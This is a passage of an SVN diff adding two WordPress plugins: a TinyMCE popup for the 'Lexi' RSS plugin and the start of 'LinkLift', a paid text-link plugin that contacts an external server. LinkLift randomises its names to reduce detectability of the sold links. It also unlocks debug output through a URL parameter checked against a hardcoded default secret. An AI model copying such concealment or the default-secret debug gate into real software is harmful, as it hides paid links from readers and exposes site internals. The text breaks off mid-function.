+    var rssitems = items.options[items.selectedIndex].value;
+		var title="";
+		if(getCheckedValue(document.Lexi.group1)==2) {
+			title = ","+document.getElementById('rssowntitle').value;
+		}
+
+		var config = 0;
+
+		if (document.getElementById('rsscache').checked) config = config + 1;
+		if (document.getElementById('rsssc').checked) config = config + 2;
+		if (document.getElementById('rssst').checked) config = config + 4;
+		if (document.getElementById('rsstb').checked) config = config + 8;
+
+
+    tagtext = "[lexi:" + config + "," + rsslink + title + "," + rssitems + "]";
+    add_text = true;
+  }
+
+	
+	if(add_text) {
+		window.tinyMCE.execInstanceCommand('content', 'mceInsertContent', false, tagtext);
+	}
+	window.tinyMCEPopup.close();
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/lexi/tinymce/mce_lexi.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/lexi/tinymce/mce_lexi.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/lexi/tinymce/mce_lexi.php	(revision 44)
@@ -0,0 +1,106 @@
+<?php
+$wpconfig = realpath("../../../../wp-config.php");
+
+if (!file_exists($wpconfig))  {
+	echo "Could not found wp-config.php. Error in path :\n\n".$wpconfig ;	
+	die;	
+}// stop when wp-config is not there
+
+require_once($wpconfig);
+require_once(ABSPATH.'/wp-admin/admin.php');
+
+// check for rights
+if(!current_user_can('edit_posts')) die;
+
+?>
+
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+	<title>Lexi</title>
+	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+	<script language="javascript" type="text/javascript" src="<?php echo get_option('siteurl') ?>/wp-includes/js/tinymce/tiny_mce_popup.js"></script>
+	<script language="javascript" type="text/javascript" src="<?php echo get_option('siteurl') ?>/wp-includes/js/tinymce/utils/mctabs.js"></script>
+	<script language="javascript" type="text/javascript" src="<?php echo get_option('siteurl') ?>/wp-includes/js/tinymce/utils/form_utils.js"></script>
+   <script language="javascript" type="text/javascript" src="<?php echo get_option('siteurl') ?>/wp-content/plugins/lexi/tinymce/lexi.js"></script>
+	<base target="_self" />
+</head>
+<body id="link" onload="tinyMCEPopup.executeOnLoad('init();');document.body.style.display='';document.getElementById('rss_tab').focus();" style="display: none">
+<!-- <form onsubmit="insertLink();return false;" action="#"> -->
+	<form name="Lexi" action="#">
+	<div class="tabs">
+		<ul>			
+      <li id="rss_tab" class="current"><span><a href="javascript:mcTabs.displayTab('rss_tab','rss_panel');" onmousedown="return false;"><?php _e("Lexi Feed", 'lexi'); ?></a></span></li>
+		</ul>
+	</div>
+	
+	<div class="panel_wrapper" style="height: 230px;">
+
+    <!-- rss panel -->
+    <div id="rss_panel" class="panel current">
+      <br />
+      <table border="0" cellpadding="4" cellspacing="0">
+
+
+        <!--<tr>
+            <td nowrap="nowrap"><label for="feedid"><?php _e("Feed:", 'lexi'); ?>:</label></td>
+            <td><select id="feedtag" name="feedtag" style="width: 200px">
+                <option value="0"><?php _e("All feeds", 'lexi'); ?></option>
+            </td>
+          </tr>-->
+
+
+        <tr>
+          <td nowrap="nowrap"><label for="rsslink"><?php _e("RSS", 'lexi' ); ?>:</label></td>
+          <td colspan=2><input type="text" id="rsslink" name="rsslink" style="width: 200px"/></td>
+        </tr>
+				<tr>
+          <td nowrap="nowrap" valign="top"><label><?php _e("Title", 'lexi' ); ?>:</label></td>
+          <td colspan=2><input type="radio" id="rsstitle" name="group1" value="1" checked/> <?php _e("Use the title from the feed", 'lexi'); ?>
+					<br><input type="radio" id="rsstitle" name="group1" value="2" onclick="document.getElementById('rssowntitle').value='';" /> <input type="text" id="rssowntitle" name="rssowntitle" style="width: 170px" value="<?php _e("Use a specific title", 'lexi'); ?>" /></td>
+        </tr>
+				<tr>
+          <td nowrap="nowrap" valign="top"><label for="rssitems"><?php _e("Items", 'lexi' ); ?>:</label></td>
+          <td colspan=2>
+            <select name="rssitems" id="rssitems" style="width: 200px"><?php
+                for($i=1; $i<11; $i++) {
+                  echo "<option value=\"$i\"";
+                  if ($items == $i) echo(' selected');
+                    echo ">$i</option>";
+                } ?>
+            </select>
+          </td>
+        </tr>
+				<tr>
+          <td nowrap="nowrap" valign="top"><label for="rsscache"><?php _e("Save cache", 'lexi' ); ?>: </label></td>
+          <td valign="top"><input type="checkbox" id="rsscache" name="rsscache" checked /></td>
+					<td><?php _e('Uncheck this option only in case the feed updates several times in an hour.','lexi'); ?></td>
+        </tr>
+        <tr>
+          <td nowrap="nowrap"><label for="rsssc"><?php _e("Show contents", 'lexi' ); ?>:</label></td>
+          <td colspan=2><input type="checkbox" id="rsssc" name="rsssc" /></td>
+        </tr>
+				<tr>
+          <td nowrap="nowrap"><label for="rssst"><?php _e("Show feed title", 'lexi' ); ?>:</label></td>
+          <td colspan=2><input type="checkbox" id="rssst" name="rssst" checked /></td>
+        </tr>
+				<tr>
+          <td nowrap="nowrap"><label for="rsstb"><?php _e("Open links in new page", 'lexi' ); ?>:</label></td>
+          <td colspan=2><input type="checkbox" id="rsstb" name="rsstb" checked /></td>
+        </tr>
+      </table>
+    </div>
+		
+	</div>
+
+	<div class="mceActionPanel">
+		<div style="float: left">
+			<input type="button" id="cancel" name="cancel" value="<?php _e("Cancel", 'lexi'); ?>" onclick="tinyMCEPopup.close();" />
+		</div>
+
+		<div style="float: right">
+			<input type="submit" id="insert" name="insert" value="<?php _e("Insert", 'lexi'); ?>" onclick="insertLexiLink();" />
+		</div>
+	</div>
+</form>
+</body>
+</html>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/linklift/linklift_divcom.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/linklift/linklift_divcom.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/linklift/linklift_divcom.php	(revision 44)
@@ -0,0 +1,2393 @@
+<?php
+/*
+Plugin Name: LinkLift (Widgets)
+Plugin URI: http://www.linklift.it/vendere-text-links/?ref=b173a484859
+Description: Link di testo sulla tua blog che si trasformano direttamente  in soldi nelle tue tasche - guadagni fissi indipendenti dai click! <a href="http://www.linklift.it/vendere-text-links/?ref=b173a484859" target="_blank">Registarti ora su LinkLift</a>. Facile da <strong><a href="options-general.php?page=linklift-configuration&" target="_self">configurare</a></strong>.
+Author: Andreas Rayo Kniep
+Version: 1.55
+Author URI: http://www.linklift.it/?ref=b173a484859
+*/
+// tab-size within this source: 4 spaces
+
+
+
+/**	This is the plug-in's name that is used by Wordpress
+ *    to identify the LinkLift-textlinks-plug-in internally.
+ *  You may change this constant in order to change the plug-in's name
+ *    as shown in the Wordpress-Widgets-panel.
+ *  Names are usually randomised iff they will appear in the generated source-code of the CMS.
+ *    Constant names that appear in the source-code increase the detectability of the plug-in!
+ */
+@define( "LL_PLUGIN_NAME"						, "divcom" );
+
+@define( "LL_PLUGIN_MENU_FILENAME"				, "linklift-configuration" );
+@define( "LL_PLUGIN_REGISTER_LINK_URL"			, "https://www.linklift.it/vendere-text-links/?ref=b173a484859" );
+
+
+// variable names of Wordpress-options-keys
+@define( "LL_OPTION_SERVER_VERSION"				, "linklift_plugin_wordpress_server_version" );
+@define( "LL_OPTION_SERVER_DATE"				, "linklift_plugin_wordpress_server_date" );
+@define( "LL_OPTION_SERVER_LANGUAGE"			, "linklift_plugin_wordpress_server_language" );
+
+@define( "LL_OPTION_SERVER_VERSION_CHECK_DATE"	, "linklift_plugin_wordpress_server_version_check_date" );
+
+
+/**	The following constants contain Wordpress-specific-filenames
+ *    that are used within the plug-in in order to generate links between Wordpress-admin-pages.
+ */
+@define( "LL_WORDPRESS_FILE_PLUGINS"			, "plugins.php" );
+@define( "LL_WORDPRESS_FILE_OPTIONS_GENERAL"	, "options-general.php" );
+@define( "LL_WORDPRESS_FILE_THEME_EDITOR"		, "theme-editor.php" );
+@define( "LL_WORDPRESS_FILE_ADMIN_FUNCTIONS"	, "admin-functions.php" );
+
+if (file_exists(LL_WORDPRESS_FILE_OPTIONS_GENERAL))
+	@define( "LL_LINKLIFT_CONFIGURATION_PAGE"	, LL_WORDPRESS_FILE_OPTIONS_GENERAL . "?page=" . LL_PLUGIN_MENU_FILENAME . "&" );
+elseif (file_exists(LL_WORDPRESS_FILE_PLUGINS))
+	@define( "LL_LINKLIFT_CONFIGURATION_PAGE"	, LL_WORDPRESS_FILE_PLUGINS . "?page=" . LL_PLUGIN_MENU_FILENAME . "&" );
+else
+	@define( "LL_LINKLIFT_CONFIGURATION_PAGE"	, false );
+
+
+/**	Checking for Wordpress-widgets-plug-in ...
+ * - If pre-installed an admin-file "widgets.php" exists.
+ * - If installed as Wordpress-plug-in a respective plug-in exists.
+ */
+if (file_exists("widgets.php"))
+{
+	@define( "LL_WORDPRESS_WIDGETS_INSTALLED"	, true );
+	@define( "LL_WORDPRESS_FILE_WIDGETS"		, "widgets.php?" );
+	
+} else {
+	// the method get_plugins is only accessible if the file admin-functions.php has been included
+		// if it has not yet been included we will try so, now:
+	if (file_exists(LL_WORDPRESS_FILE_ADMIN_FUNCTIONS))
+		@include_once(LL_WORDPRESS_FILE_ADMIN_FUNCTIONS);
+	
+	if (function_exists("get_plugins"))
+		$installed_plugins = get_plugins();
+	else
+		$installed_plugins = array();
+	
+	
+	if (isset($installed_plugins["widgets/widgets.php"]))
+	{
+		@define("LL_WORDPRESS_WIDGETS_INSTALLED", true );
+		@define("LL_WORDPRESS_FILE_WIDGETS"		, "themes.php?page=widgets/widgets.php&" );
+		
+	} else {
+		// no Wordpress-widgets-plug-in installed!
+		@define("LL_WORDPRESS_WIDGETS_INSTALLED", false );
+	} //if-else
+} //if-else
+
+
+
+
+// default language: english
+$plugin_default_lang     = "en";
+
+// trying to extract the installed language out of the Wordpress-constant 'WPLANG':
+if (defined("WPLANG"))
+	$wordpress_language      = strtolower( substr( WPLANG, 0, 2 ) );
+else
+	$wordpress_language      = $plugin_default_lang;
+
+// language-specific texts
+$language_file_wordpress = dirname(__FILE__) . "/linklift_divcom_lang_" . $wordpress_language  . ".inc.php";
+$language_file_default   = dirname(__FILE__) . "/linklift_divcom_lang_" . $plugin_default_lang . ".inc.php";
+
+// all not-translated texts will be taken from the english text-file (if existing) ...
+if (file_exists($language_file_wordpress))
+    @include_once( $language_file_wordpress );
+if (file_exists($language_file_default))
+    @include_once( $language_file_default );
+
+
+
+
+/* ****************************************************************
+ * adspace:        Your Wordpress Website                         *
+ * creation date:  2008-06-06                                     *
+ * contact:        supporto@linklift.it                           *
+ * script-version: 1.552    (2008-05-01)                          *
+ * ****************************************************************/
+// this PHP-script runs on PHP-engines >= v4.0.6
+// tab-size of this document:  4 spaces
+
+
+
+/**	Disabling all error- (, warning-, and notice-) messages...
+ *	You may want to un-comment the following lines when testing or debugging this plugin.
+ *  At the end of the plugin you may restore the original reporting-level using the following call:
+ *  error_reporting( $linklift_saved_reporting_level );
+ *  
+ *  Note: there is another call of error_reporting() in this plugin's method execute()!
+ * 
+ * default:			E_ERROR | E_WARNING | E_PARSE
+ * all messages:	E_ALL
+ * only errors:		E_ERROR
+ * no messages:		0
+ * 
+ */
+$linklift_saved_reporting_level = error_reporting();
+// error_reporting( E_ALL );
+
+
+
+
+
+/**	
+ *	The LinkLift-website-key identifies your website on the LinkLift-marketplace.
+ */
+@define( "LL_WEBSITE_KEY"						, "" );		// has to be configured by you (you can use the LinkLift-configuration-page within Wordpress)
+
+
+
+
+/**	The script-version-constants are used for checking
+ *	if a newer version of your plug-in is available on the LinkLift-server.
+ *  Note: the plug-in will not update itself, at this time.
+ */
+@define( "LL_PLUGIN_LANGUAGE"					, "wordpress" );
+@define( "LL_PLUGIN_VERSION"					, "1.552" );		// italian included
+@define( "LL_PLUGIN_DATE"						, "2008-05-01" );
+@define( "LL_PLUGIN_CREATION_DATE"				, "20080606125341" );
+
+@define( "LL_UPDATE_CHECK_TIMEFRAME"			, "-1 week" );
+
+@define( "LL_PLUGIN_SECRET_BASE"				, "linklift_onetime_password" );
+@define( "LL_ONE_TIME_PASSWORD_ANSWER_TAG"		, "linklift_onetime_answer" );
+
+
+/**	In order to not block the page-load-progrss
+ *	a time-limit (in seconds) is set when receiving new data from the LinkLift-server.
+ */
+@define( "LL_DATA_TIMEOUT"						, 7 );
+
+
+/**	
+ *	The server-host to connect to in order to download data from LinkLift-server.
+ */
+@define( "LL_SERVER_HOST"						, "external.linklift.net" );
+@define( "LL_SERVER_URL"						, "http://" . LL_SERVER_HOST . "/" );
+
+
+
+@define( "LL_OPTION_PLUGIN_SECRET"				, "linklift_plugin_secret" );
+// value of linklift-plugin-secret may differ if this plugin is part of a blog-hoster or multi-blog-system
+$linklift_plugin_secret	= get_option( LL_OPTION_PLUGIN_SECRET );
+if (empty($linklift_plugin_secret))
+	@define( "LL_PLUGIN_SECRET"					, LL_PLUGIN_SECRET_BASE );
+else
+	@define( "LL_PLUGIN_SECRET"					, $linklift_plugin_secret );
+
+
+
+
+
+
+// if the plugin's individual "secret" is delivered the plugin's so-called SECRET-MODE is entered. Necessary for entering the plugin's DEBUG_MODE.
+if (   (   (! empty($_REQUEST["ls"]))
+		&& (LL_PLUGIN_SECRET === $_REQUEST["ls"])
+		)
+	|| (   (! empty($_SERVER["REQUEST_URI"]))
+		&& (preg_match('@ls.' . LL_PLUGIN_SECRET . '@', $_SERVER["REQUEST_URI"]))
+		)
+	)
+{
+	@define( "LL_SECRET_MODE"					, true );
+} else {
+	@define( "LL_SECRET_MODE"					, false );
+} //if-else
+
+
+/** a possible debug-mode helping to analyse problems and functionality of the plugin
+ * existing LL_DEBUG_MODEs:
+ *   1:  Display internal testlink with maximum length and umlauts
+ *   2:  Display the object's / plugin's current data / state
+ *   3:  Display the current XML-cache
+ *   4:  Displays some "internal values" like values of LinkLift-constants or the surrounding CMS' resolved language.
+ *   5:  Update the XML-cache (externally forced update)
+ *  10:  Displays the running script's filename
+ *  99:  Known debug-modes
+ */
+if (   (LL_SECRET_MODE)
+	&&
+		(  (   (! empty($_REQUEST["ld"]))
+			&& (is_numeric($_REQUEST["ld"]))
+			)
+		|| (   (! empty($_SERVER["REQUEST_URI"]))
+			&& (preg_match('@ld.(\d\d?)@', $_SERVER["REQUEST_URI"], $debug_mode_matches))
+			)
+		)
+	)
+{
+	if (isset($debug_mode_matches[1]))
+		@define( "LL_DEBUG_MODE"				, $debug_mode_matches[1] );
+	else
+		@define( "LL_DEBUG_MODE"				, $_REQUEST["ld"] );
+	
+} else {
+	@define( "LL_DEBUG_MODE"					, false );
+} //if-else
+	
+
+
+
+
+
+if (! class_exists("LinkLiftPlugin"))
+{
+
+class LinkLiftPlugin
+{
+
+
+
+
+
+// A LinkLift-website-key other than the class' constant LL_WEBSITE_KEY that should be used for updating the locally cached XML-data. 
+var $linklift_website_key;
+// A XML-filename other then the class' constant above. This property will have no effect if your plugin uses a local database for caching.
+var $xml_filename = "";
+// An array of integers representing the textlinks of the current textlink-data-array that should be generated and printed. You may want to use this property in order to distribute your textlinks on different locations of your website, to give an example. E.g: $links_to_show = array(1,3,5,7,9).
+var $links_to_show;
+
+// the current XML-cache
+var $xml_cache;
+// the last time the XML-cache has been updated
+var $xml_cache_time;
+
+// other variables, mainly copying linklift-constants
+var $data_timeout			= LL_DATA_TIMEOUT;
+var $plugin_language		= LL_PLUGIN_LANGUAGE;
+var $plugin_version			= LL_PLUGIN_VERSION;
+var $plugin_date			= LL_PLUGIN_DATE;
+var $plugin_creation_date	= LL_PLUGIN_CREATION_DATE;
+
+
+
+
+
+/**
+ * Usually, instances of the LinkLift-plugin's class do not need an (individual) state.
+ * Thus, in general, we will need at most one instance of the plugin-class in order to generate HTML-output out of external data (XML-textlink-data).
+ * 
+ * The class-method will always return the same object (singleton) or create a new one for you if none exists.
+ * 
+ * Note: Since the method returns a reference you have to de-reference the result; e.g.:
+ * $new_instance =& LinkLiftPlugin::getInstance(); 
+ * 
+ * @author akniep (Andreas Rayo Kniep)
+ * @since 2007-10-26
+ * @return instance-reference on the class's singleton
+ */
+function &getInstance()
+{
+	static $singleton;
+	
+	if (   (! is_object($singleton))
+		|| (null == $singleton)
+		|| (empty($singleton->linklift_website_key))   )
+	{
+		$singleton = new LinkLiftPlugin();
+	} //if
+	
+	return $singleton;
+} //getInstance()
+
+/**
+ * Using the class' constructor you can obtain an instances of the LinkLift-plugin's having an individual state.
+ * 
+ * @author akniep (Andreas Rayo Kniep)
+ * @since 2007-10-26, 2007-12-10
+ * @param $linklift_website_key string The LinkLift-website-key that should be used for updating the locally cached XML-data. If empty the method will use the default website-key that you can either find as a constant above or as value in your local database. Usually, this parameter is unused and empty!
+ * @param $xml_filename string The filename of the local XML-file that should be used for caching textlink-data iff your plugin does not use a local database for caching. If empty the method will use the default XML-filename that you can find as constant above. Usually, this parameter is unused and empty!
+ * @param $links_to_show array of integers representing the textlinks of the current textlink-data-array that should be generated and printed by this instance. You may want to use this parameter in order to distribute your textlinks on different locations of your website, to give an example. E.g.: $links_to_show = array(0,2,4,6,8). Usually, this parameter is unused and empty!
+ * @return new instance of the LinkLift-plugin-class LinkLiftPlugin
+ */
+function LinkLiftPlugin( $linklift_website_key = "", $xml_filename = "", $links_to_show = array() )
+{
+	if (empty($linklift_website_key))
+	{
+		// plugin-specific saving and loading
+		$linklift_website_key = LinkLiftPlugin::ll_get_option("linklift_website_key", "");
+		if (empty($linklift_website_key))
+			$linklift_website_key = LinkLiftPlugin::ll_translate( "LINKLIFT_WEBSITE_KEY" );
+		
+	} //if
+	
+	$instance_linklift_website_key	= ( (! empty($linklift_website_key)) ? ($linklift_website_key) : (LL_WEBSITE_KEY) );
+	
+	
+	
+	if (   (empty($xml_filename))
+		&& (defined("LL_TEXTLINK_DATAFILE"))   )
+	{
+		$xml_filename		= LL_TEXTLINK_DATAFILE;
+	} //if-else
+	
+	
+	
+	// saving instance-properties
+	$this->setWebsiteKey(  $instance_linklift_website_key );
+	$this->setXmlFilename( $xml_filename );
+	$this->setLinksToShow( $links_to_show );
+	
+	
+	
+	if (file_exists( $this->getXmlFilename() ))
+		$this->setXmlCacheTime( filemtime($this->getXmlFilename()) );
+} //__construct()
+
+
+/**
+ * This method creates an instance of class LinkLiftPlugin and invokes its main-function ll_textlink_code
+ *   in order to generate and output HTML-code with your textlinks (to standard-out) using the default linklift-website-key.
+ * 
+ * This method wraps the calls of getInstance() and ll_textlink_code() and contains no further logic.
+ * 
+ * class-method ("static")
+ * 
+ * @author akniep (Andreas Rayo Kniep)
+ * @since 2007-12-17
+ * @param $return boolean, Indicating whether the generated HTML-code should be returned ($return == true), or written to standard-out (echo); default: false.
+ * @return void
+ */
+function execute( $return = false )
+{
+	// not displaying error-messages while executing the LinkLift-plugin
+	$linklift_saved_reporting_level = error_reporting();
+	error_reporting( 0 );
+	
+	
+	$linklift_plugin_instance	=& LinkLiftPlugin::getInstance();
+	$textlink_code				=& $linklift_plugin_instance->ll_textlink_code( $return );
+	
+	
+	// restoring original error-reporting-level
+	error_reporting( $linklift_saved_reporting_level );
+	
+	
+	return $textlink_code;
+} //execute()
+
+
+/**
+ * Detects and returns the given string's encoding using mb_detect_encoding.
+ * class-method ("static")
+ * 
+ * @author akniep (Andreas Rayo Kniep)
+ * @since 2007-12-10
+ * @param $string string, the encoding of which should be deteceted.
+ * @return string the detected encoding or an empty string of no encoding could have been detected.
+ */
+function ll_mb_detect_encoding( $string ) 
+{
+	if (function_exists("mb_detect_encoding"))
+		return mb_detect_encoding(	  $string
+									, $encoding_list = array( "UTF-8", "ISO-8859-1", "ISO-8859-15", "ASCII" )
+									);
+	else
+		return "";
+} //ll_mb_detect_encoding()
+
+/**
+ * Calls a given string-function with the given 
+ * Unlike strtolower, this method tries to detect the given string's encoding (calling ll_mb_detect_encoding())
+ *   and convert using mb_strtolower protecting special characters (e.g. umlauts).
+ * 
+ * If the needed functions for detection and conversion are not available
+ *   strtolower is used in order to convert the given string.
+ * class-method ("static")
+ * 
+ * @author akniep (Andreas Rayo Kniep)
+ * @since 2007-12-10
+ * @param $string_function string, (not callback!) the string-function to be either called directly or after prepending the "mb_"-prefix
+ * @param $param_arr array, of parameters being passed to the $string_function, the first parameter is assumed to be the string to apply the $string_function to
+ * @return mixed the result of the called $string_function or false if a faulty array of parameters was delivered
+ */
+function ll_call_str_function_encoding_dependent( $string_function, $param_arr ) 
+{
+	if (   (empty($param_arr))
+		|| (! is_array($param_arr))   )
+	{
+		return false;
+	} //if
+	
+	
+	if (function_exists("mb_" . $string_function))
+	{
+		// the first given parameter is assumed to be the string to apply the $string_function to
+		$string				= $param_arr[0];
+		$string_encoding	= LinkLiftPlugin::ll_mb_detect_encoding( $string );
+		
+		if (! empty($string_encoding))
+		{
+			$param_arr[] = $string_encoding;
+			
+			// calling the corresponding multibyte PHP-function
+			return call_user_func_array("mb_" . $string_function, $param_arr);
+		} //if
+	} //if
+	
+	// calling the original PHP-function working with strings in ASCII-format
+	return call_user_func_array($string_function, $param_arr);
+} //ll_call_str_function_encoding_dependent()
+
+
+/**
+ * The method tries to connect to a given $server_host in order to open a server-socket-connection on port 80
+ *   and write the given $request-string to it.
+ * The given $request is expected to be a valid HTTP-request like typical GET- or POST-requests.
+ * The data returned from the $server_host and received within a fixed timeframe will be returned.
+ * The method is invoked by get_404_page() and ll_retrieve_xml_from_ll_server() or ll_send_ping_signal(), respectively (depending on your plugin-type).
+ * class-method ("static")
+ *
+ * @author akniep (Andreas Rayo Kniep)
+ * @since 2006-09-18, 2007-03-12, 2007-12-17
+ * @return $server_host string the host of the server to connect to and send the given $request to.
+ * @return $request string the HTTP-request to be written to the server-socket-connection that is tried to be established with the given $server_host.
+ * @return string the data received from the $server_host after writing the given $request to the opened server-socket-connection, or false if an error occurred.
+ */
+function get_page_content( $server_host, $request, $data_timeout = LL_DATA_TIMEOUT )
+{
+	if (   ($server = fsockopen($server_host, 80, $errno, $errstr, $data_timeout))
+		&& (is_resource( $server ))   )
+	{
+		if (function_exists("stream_set_blocking"))
+			stream_set_blocking($server, false);
+		
+		if (function_exists("stream_set_timeout"))
+			stream_set_timeout( $server, $data_timeout );
+		else
+			socket_set_timeout( $server, $data_timeout );
+		
+		
+		$connection_start_time = time();
+		
+		
+		$write_result = fwrite( $server, $request );
+		
+		// unable to write to open socket.
+		if (! $write_result)
+			return false;
+		
+		
+		
+		$data = "";
+		
+		while (! feof($server))
+		{
+			$data_before = $data;
+			$data       .= fread($server, 10000); 
+			
+			// if no data was received (yet) ...
+			if ($data_before == $data)
+			{
+				// if no data was received and the the data-timout was reached
+					// the download-process will be stopped.
+				if ($data_timeout < time() - $connection_start_time)
+				{
+					$data = "";
+					break;
+				} //if
+				
+				// ... go to sleep for 10 ms, waiting for data.
+					// usleep() works on Linux-like servers!
+					// On other systems usleep may have no effect
+					// PHP 5.0.0 claims that usleep works on Windows-systems, as well ...
+					// ... the effect on the system's processor, however, is not known to the writer.
+				if (function_exists("usleep"))
+					usleep($micro_seconds = 10 * 1000);		// 10 * 1000 micro seconds  =  10 milli seconds  =  0.01 seconds
+			} //if
+		} //while
+		
+		
+		fclose($server);
+		
+		
+		return $data;
+		
+		
+	} else {
+		return false;
+	} //if-else
+} //get_page_content()
+
+/**
+ * Downloads the current-plugin-info for the installed plugin from the LinkLift-server.
+ * The method will return an associative array of plugin_data containing (at least) the following fields:
+ * - plugin-version:	the current plugin-version of the delivered plugin-language on the LinkLift-server
+ * - plugin-date:		the rlease-date of the current plugin-version
+ * - plugin-language:	the plugin-language of the plugin-version
+ * 
+ * class-method ("static")
+ * 
+ * @author akniep (Andreas Rayo Kniep)
+ * @since 2008-02-16
+ * @return $cms_info string additional CMS-info to be sent to the LinkLift-server; usually this contains the version of the CMS this plugin is used in; default: "".
+ * @return array, associative array of plugin-data, see above for more information  <OR>  false if an error occurred.
+ */
+function ll_get_current_plugin_info( $cms_info = "" )
+{
+	$server_host = LL_SERVER_HOST;
+	
+	
+	$linklift_website_key	= urlencode(LL_WEBSITE_KEY);
+	$linklift_secret		= urlencode(LL_PLUGIN_SECRET);
+	$linklift_method		= urlencode("current_plugin_version");
+	$cms_info_encoded		= urlencode($cms_info);
+	
+	$request =	"GET /external/external_info.php5"
+				. "?website_key"				. "=" . $linklift_website_key
+				. "&linklift_secret"			. "=" . $linklift_secret
+				. "&method"					. "=" . $linklift_method
+				. "&plugin_language"			. "=" . urlencode(LL_PLUGIN_LANGUAGE)
+				. "&plugin_version"			. "=" . urlencode(LL_PLUGIN_VERSION)
+				. "&plugin_date"				. "=" . urlencode(LL_PLUGIN_DATE)
+				. "&cms_info"					. "=" . $cms_info_encoded
+				. " "
+				
+				. "HTTP/1.0\n"
+				. "Host: " . $server_host . "\n"
+				. "Connection: Close\n"
+				. "\n"
+				
+				. "";
+	
+	
+	$plugin_info_raw = LinkLiftPlugin::get_page_content( $server_host, $request );
+	
+	
+	if (empty($plugin_info_raw))
+		return false;
+	
+	
+	
+	
+	// splits the received page in header and content
+	$file_parts			= preg_split( $pattern = '@\r?\n\r?\n@', $subject = $plugin_info_raw, $limit = 2 );
+	
+	$body				=& $file_parts[1];
+	
+	// every line of the page's body is expected to contain one information
+	$plugin_info_lines	= preg_split( $pattern = '@\r?\n@', $subject = $body );
+	
+	// every valid information is put into an associative array $plugin_info
+	$plug_info 			= array();
+	foreach ($plugin_info_lines as $line)
+	{
+		$line_parts		= explode( ":", $line, $limit = 2 );
+		
+		if (2 === count($line_parts))
+			$plug_info[ $line_parts[0] ] = $line_parts[1];
+	} //foreach($line)
+	
+	
+	
+	return $plug_info;
+} //ll_get_current_plugin_info()
+
+/**
+ * Returns a URL that this plugin can be updated with.
+ * 
+ * class-method ("static")
+ * 
+ * @author akniep (Andreas Rayo Kniep)
+ * @since 2008-02-16
+ * @return string the URL to call in order to update this plugin
+ */
+function ll_get_update_plugin_url()
+{
+	$linklift_website_key	= urlencode(LL_WEBSITE_KEY);
+	$linklift_secret		= urlencode(LL_PLUGIN_SECRET);
+	$linklift_method		= urlencode("current_plugin_download");
+	
+	$request =    LL_SERVER_URL
+				. "/external/external_info.php5"
+				. "?website_key"				. "=" . $linklift_website_key
+				. "&linklift_secret"			. "=" . $linklift_secret
+				. "&method"					. "=" . $linklift_method
+				. "&plugin_language"			. "=" . urlencode(LL_PLUGIN_LANGUAGE)
+				. "&plugin_version"			. "=" . urlencode(LL_PLUGIN_VERSION)
+				
+				. "";
+	
+	
+	return $request;
+} //ll_get_update_plugin_url()
+
+/**
+ * The method returns the server's very own 404-page including the page's headers as string!
+ * Therefor, a not-existing page is requested from the local server using the same accapt-language as the one delivered to this request.
+ * The method is invoked by return_error().
+ * class-method ("static")
+ *
+ * @author akniep (Andreas Rayo Kniep)
+ * @since 2007-12-17
+ * @return string the server's very own 404-page including the page's headers
+ */
+function get_404_page()
+{
+	$server_host = $_SERVER["SERVER_NAME"];
+	
+	
+	$language = $_SERVER["HTTP_ACCEPT_LANGUAGE"];
+	
+	// asking for the same language that was delivered to this request
+	if (! empty($language))
+		$acceptLanguage = "Accept-Language: " . $language . "\r\n";
+	else
+		$acceptLanguage = "";
+	
+	// using carriage returns since Windows-servers may not understand simple newlines (while Linux-servers do not seem to have problems with carriage returns)
+	$request =	  "GET /this_file_does_not_exist.php "
+				
+				. "HTTP/1.0\r\n"
+				. "Host: " . $server_host . "\r\n"
+				. $acceptLanguage
+				. "Connection: Close\r\n"
+				. "\r\n"
+				
+				. "";
+	
+	// possible errors ignored!
+	$page404 = LinkLiftPlugin::get_page_content( $server_host, $request );
+	
+	
+	return $page404;
+} //get_404_page()
+
+/**
+ * The method returns an error-page to a faulty or malicious request.
+ * For $errorCode 404 the local server's very own 404-page is requested and returned.
+ * The method does not return any value, but set headers and print the generated page's body to standard-out, automatically.
+ * class-method ("static")
+ *
+ * @author akniep (Andreas Rayo Kniep)
+ * @since 2007-12-17
+ * @param $error_code int The HTTP-Code to be returned and set as page-header; default: 404.
+ * @param $error_message string The main error-message to be returned as the page's body; default: "Illegal Request".
+ * @param $headers_to_set array, associative array of strings containing headers to be set when exiting
+ * @return void
+ */
+function return_error( $error_code = 404, $error_message = "Illegal Request", $headers_to_set = array() )
+{
+	$error_strings = array	(
+							  400 => "Bad Request"
+							, 401 => "Unauthorized"
+							, 404 => "Not Found"
+							, 405 => "Method Not Allowed"
+							, 406 => "Not Acceptable"
+							, 409 => "Conflict"
+							, 500 => "Internal Server Error"
+							);
+	
+	
+	if (404 == $error_code)
+	{
+		$page404		= LinkLiftPlugin::get_404_page();
+		
+		// splits the received 404-page in header and content
+		$file_parts		= preg_split( $pattern = '@\r?\n\r?\n@', $subject = $page404, $limit = 2 );
+		
+		$headers		= $file_parts[0];
+		$body			= $file_parts[1];
+		
+		
+		// setting HTTP-headers individually
+		$headers_array	= explode("\n", $headers);
+		foreach ($headers_array as $header)
+			header( $header );
+		
+		
+		// writing the page's body
+		die( $body );
+	} //if
+	
+	
+	
+	$error_string = ( (isset($error_strings[$error_code])) ? (" " . $error_strings[$error_code]) : ("") );
+	
+	header("HTTP/1.x " . $error_code . $error_string );
+	
+	
+	foreach ($headers_to_set as $header => $value)
+		header( $header . ": " . $value );
+	
+	
+	
+	die( $error_message );
+} //return_error()
+
+/**
+ * This plugin is not supposed to be called directly, but to be used as inclusion or part of a surrounding CMS.
+ * Direct requests will be responded to with an error, protecting this plugin from prying eyes.
+ * The method does not return any value, but set headers and print the generated page's body to standard-out, automatically.
+ * class-method ("static")
+ *
+ * @author akniep (Andreas Rayo Kniep)
+ * @since 2007-12-17
+ * @param $check_this_file boolean Set this flag if the check-routine should also disallow direct request to the file this script is a part of (if you have included the LinkLift-plugin in a bigger PHP-script set this parameter to false, for usage within a CSS you can set this flag to true); default: false.
+ * @return void
+ */
+function check_request( $check_this_file = false )
+{
+	// direct access to the LinkLift-plugin-file is not wanted!
